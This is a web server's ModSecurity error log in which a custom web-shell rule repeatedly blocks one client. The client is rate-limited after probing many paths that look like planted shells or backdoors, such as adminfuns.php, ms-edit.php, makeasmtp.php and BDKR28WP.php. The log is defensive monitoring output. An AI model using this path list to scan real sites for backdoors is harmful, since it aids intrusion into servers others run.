[Tue Apr 21 17:59:27.613383 2026] [:error] [pid 4823:tid 4871] [client 20.199.181.135:65366] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aedKf_c8mke3PfHqsxHl2gAAAZI"]
[Tue Apr 21 17:59:28.085004 2026] [:error] [pid 35320:tid 35342] [client 20.199.181.135:63944] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "aedKgIJW6fdXWO6agMFmmwAAAAw"]
[Tue Apr 21 17:59:28.555959 2026] [:error] [pid 35320:tid 35333] [client 20.199.181.135:47159] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "aedKgIJW6fdXWO6agMFmnAAAAAM"]
[Tue Apr 21 17:59:29.028762 2026] [:error] [pid 35320:tid 35337] [client 20.199.181.135:47109] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "aedKgYJW6fdXWO6agMFmoQAAAAc"]
[Tue Apr 21 17:59:29.501586 2026] [:error] [pid 35320:tid 35344] [client 20.199.181.135:63938] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "aedKgYJW6fdXWO6agMFmowAAAA4"]
[Tue Apr 21 17:59:29.973756 2026] [:error] [pid 35320:tid 35330] [client 20.199.181.135:54562] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKgYJW6fdXWO6agMFmqQAAAAA"]
[Tue Apr 21 17:59:30.444932 2026] [:error] [pid 53731:tid 53757] [client 20.199.181.135:5361] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKgl2I9THUR-bRVGwhxgAAAhU"]
[Tue Apr 21 17:59:30.919558 2026] [:error] [pid 53731:tid 53738] [client 20.199.181.135:5518] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKgl2I9THUR-bRVGwhxwAAAgM"]
[Tue Apr 21 17:59:31.394057 2026] [:error] [pid 35321:tid 35386] [client 20.199.181.135:54532] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKgzeHLhVUuu8cVXwTAAAAAEI"]
[Tue Apr 21 17:59:31.866388 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:49089] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aedKgzeHLhVUuu8cVXwTAQAAAEc"]
[Tue Apr 21 17:59:32.338463 2026] [:error] [pid 35321:tid 35385] [client 20.199.181.135:5370] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aedKhDeHLhVUuu8cVXwTBwAAAEE"]
[Tue Apr 21 17:59:32.814852 2026] [:error] [pid 35320:tid 35338] [client 20.199.181.135:47113] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aedKhIJW6fdXWO6agMFmuQAAAAg"]
[Tue Apr 21 17:59:33.286556 2026] [:error] [pid 35320:tid 35353] [client 20.199.181.135:5549] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aedKhYJW6fdXWO6agMFmvgAAABc"]
[Tue Apr 21 17:59:33.762202 2026] [:error] [pid 35320:tid 35343] [client 20.199.181.135:63992] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aedKhYJW6fdXWO6agMFmxAAAAA0"]
[Tue Apr 21 17:59:34.233772 2026] [:error] [pid 53978:tid 53995] [client 20.199.181.135:49116] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aedKhp1ivsR4hcOSQbbrRwAAAo8"]
[Tue Apr 21 17:59:34.706563 2026] [:error] [pid 35321:tid 35393] [client 20.199.181.135:5537] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aedKhjeHLhVUuu8cVXwTDQAAAEk"]
[Tue Apr 21 17:59:35.178252 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:54552] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aedKhzeHLhVUuu8cVXwTDwAAAEc"]
[Tue Apr 21 17:59:35.650188 2026] [:error] [pid 35321:tid 35405] [client 20.199.181.135:47114] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aedKhzeHLhVUuu8cVXwTEQAAAFU"]
[Tue Apr 21 17:59:36.122910 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:63901] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aedKiDeHLhVUuu8cVXwTFAAAAE0"]
[Tue Apr 21 17:59:36.595818 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:63878] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aedKiDeHLhVUuu8cVXwTFwAAAEw"]
[Tue Apr 21 17:59:37.068299 2026] [:error] [pid 53978:tid 53988] [client 20.199.181.135:5522] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aedKiZ1ivsR4hcOSQbbrSwAAAog"]
[Tue Apr 21 17:59:37.559896 2026] [:error] [pid 53978:tid 53996] [client 20.199.181.135:5516] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKiZ1ivsR4hcOSQbbrTQAAApA"]
[Tue Apr 21 17:59:38.032741 2026] [:error] [pid 54080:tid 54097] [client 20.199.181.135:5342] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKiozEbQHHxtmWbaaPGAAAAs8"]
[Tue Apr 21 17:59:38.504933 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:5567] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKijeHLhVUuu8cVXwTGwAAAEo"]
[Tue Apr 21 17:59:38.978625 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:17068] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKijeHLhVUuu8cVXwTHAAAAFE"]
[Tue Apr 21 17:59:39.451464 2026] [:error] [pid 35321:tid 35389] [client 20.199.181.135:49110] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aedKizeHLhVUuu8cVXwTHgAAAEU"]
[Tue Apr 21 17:59:39.923202 2026] [:error] [pid 53731:tid 53756] [client 20.199.181.135:48824] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aedKi12I9THUR-bRVGwh2AAAAhQ"]
[Tue Apr 21 17:59:40.395578 2026] [:error] [pid 54080:tid 54094] [client 20.199.181.135:48806] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aedKjIzEbQHHxtmWbaaPGwAAAsw"]
[Tue Apr 21 17:59:40.866381 2026] [:error] [pid 53978:tid 53991] [client 20.199.181.135:63927] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aedKjJ1ivsR4hcOSQbbrVAAAAos"]
[Tue Apr 21 17:59:41.337885 2026] [:error] [pid 35320:tid 35333] [client 20.199.181.135:63916] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aedKjYJW6fdXWO6agMFm4wAAAAM"]
[Tue Apr 21 17:59:41.810121 2026] [:error] [pid 35320:tid 35336] [client 20.199.181.135:54529] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aedKjYJW6fdXWO6agMFm6AAAAAY"]
[Tue Apr 21 17:59:42.283178 2026] [:error] [pid 53978:tid 53985] [client 20.199.181.135:5527] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aedKjp1ivsR4hcOSQbbrVgAAAoU"]
[Tue Apr 21 17:59:42.755723 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:48805] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aedKjoJW6fdXWO6agMFm8QAAAAk"]
[Tue Apr 21 17:59:43.227885 2026] [:error] [pid 35320:tid 35354] [client 20.199.181.135:48793] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin1.php"] [unique_id "aedKj4JW6fdXWO6agMFm9QAAABg"]
[Tue Apr 21 17:59:43.698602 2026] [:error] [pid 35321:tid 35388] [client 20.199.181.135:5890] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin1.php"] [unique_id "aedKjzeHLhVUuu8cVXwTIAAAAEQ"]
[Tue Apr 21 17:59:44.173450 2026] [:error] [pid 54080:tid 54103] [client 20.199.181.135:54583] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin1.php"] [unique_id "aedKkIzEbQHHxtmWbaaPHgAAAtU"]
[Tue Apr 21 17:59:44.645676 2026] [:error] [pid 4777:tid 4806] [client 20.199.181.135:54577] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin1.php"] [unique_id "aedKkKxXur6bykKyLZSZRQAAARI"]
[Tue Apr 21 17:59:45.117099 2026] [:error] [pid 54080:tid 54102] [client 20.199.181.135:63895] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aedKkYzEbQHHxtmWbaaPIwAAAtQ"]
[Tue Apr 21 17:59:45.589133 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:54573] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aedKkTeHLhVUuu8cVXwTIwAAAEo"]
[Tue Apr 21 17:59:46.060804 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:63967] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aedKkjeHLhVUuu8cVXwTJQAAAFE"]
[Tue Apr 21 17:59:46.532211 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:48780] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aedKkjeHLhVUuu8cVXwTKgAAAEw"]
[Tue Apr 21 17:59:47.004751 2026] [:error] [pid 35321:tid 35408] [client 20.199.181.135:62749] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aedKkzeHLhVUuu8cVXwTLgAAAFg"]
[Tue Apr 21 17:59:47.476328 2026] [:error] [pid 35320:tid 35343] [client 20.199.181.135:24881] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aedKk4JW6fdXWO6agMFm_AAAAA0"]
[Tue Apr 21 17:59:47.955250 2026] [:error] [pid 35320:tid 35331] [client 20.199.181.135:38897] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aedKk4JW6fdXWO6agMFm_gAAAAE"]
[Tue Apr 21 17:59:48.427671 2026] [:error] [pid 35320:tid 35333] [client 20.199.181.135:48807] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aedKlIJW6fdXWO6agMFnAQAAAAM"]
[Tue Apr 21 17:59:48.908181 2026] [:error] [pid 35320:tid 35349] [client 20.199.181.135:62752] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aedKlIJW6fdXWO6agMFnBwAAABM"]
[Tue Apr 21 17:59:49.378706 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:62743] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aedKlTeHLhVUuu8cVXwTNQAAAFM"]
[Tue Apr 21 17:59:49.850467 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:49137] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aedKlTeHLhVUuu8cVXwTOAAAAEw"]
[Tue Apr 21 17:59:50.323317 2026] [:error] [pid 54080:tid 54103] [client 20.199.181.135:5943] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aedKlozEbQHHxtmWbaaPLAAAAtU"]
[Tue Apr 21 17:59:50.796387 2026] [:error] [pid 53832:tid 53838] [client 20.199.181.135:5320] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aedKltzkuxsE_OhM9UJOBAAAAkM"]
[Tue Apr 21 17:59:51.269928 2026] [:error] [pid 35415:tid 35432] [client 20.199.181.135:49118] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aedKl0iqDinI4_22zzhldQAAAMU"]
[Tue Apr 21 17:59:51.741853 2026] [:error] [pid 53978:tid 53994] [client 20.199.181.135:49150] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aedKl51ivsR4hcOSQbbrZQAAAo4"]
[Tue Apr 21 17:59:52.213872 2026] [:error] [pid 35322:tid 35364] [client 20.199.181.135:48794] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "aedKmKPoAfV40BTfVKzQSwAAAIc"]
[Tue Apr 21 17:59:52.686204 2026] [:error] [pid 53832:tid 53847] [client 20.199.181.135:5923] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "aedKmNzkuxsE_OhM9UJOBQAAAkw"]
[Tue Apr 21 17:59:53.158290 2026] [:error] [pid 4777:tid 4792] [client 20.199.181.135:48822] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "aedKmaxXur6bykKyLZSZRwAAAQQ"]
[Tue Apr 21 17:59:53.631873 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:6060] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "aedKmTeHLhVUuu8cVXwTQAAAAFE"]
